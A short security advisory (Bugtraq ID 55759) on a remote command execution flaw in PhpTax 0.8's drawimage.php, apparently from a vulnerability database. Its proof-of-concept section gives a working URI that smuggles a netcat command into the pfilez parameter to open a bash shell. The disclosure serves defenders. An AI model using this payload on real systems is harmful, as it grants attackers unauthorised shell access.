PhpTax 'drawimage.php' Remote Arbitrary Command Execution Vulnerability

BID:55759

Info

PhpTax 'drawimage.php' Remote Arbitrary Command Execution Vulnerability

Bugtraq ID: 55759
Class: Input Validation Error
CVE:
Remote: Yes
Local: No
Published: Oct 02 2012 12:00AM
Updated: Oct 02 2012 12:00AM
Credit: Jean Pascal Pereira
Vulnerable:
Not Vulnerable:

Discussion

PhpTax 'drawimage.php' Remote Arbitrary Command Execution Vulnerability

PhpTax is prone to a remote arbitrary command-execution vulnerability because it fails to properly validate user-supplied input.

An attacker can exploit this issue to execute arbitrary commands within the context of the vulnerable application.

PhpTax 0.8 is vulnerable; other versions may also be affected.

Exploit / POC

PhpTax 'drawimage.php' Remote Arbitrary Command Execution Vulnerability

Attackers can use a browser to exploit this issue.

The following example URI is available:

http://www.example.com/phptax/drawimage.php?pfilez=xxx;%20nc%20-l%20-v%20-p%2023235%20-e%20/bin/bash;&pdf=make

Solution / Fix

PhpTax 'drawimage.php' Remote Arbitrary Command Execution Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or are aware of more recent information, please mail us at: [email protected].

References

PhpTax 'drawimage.php' Remote Arbitrary Command Execution Vulnerability

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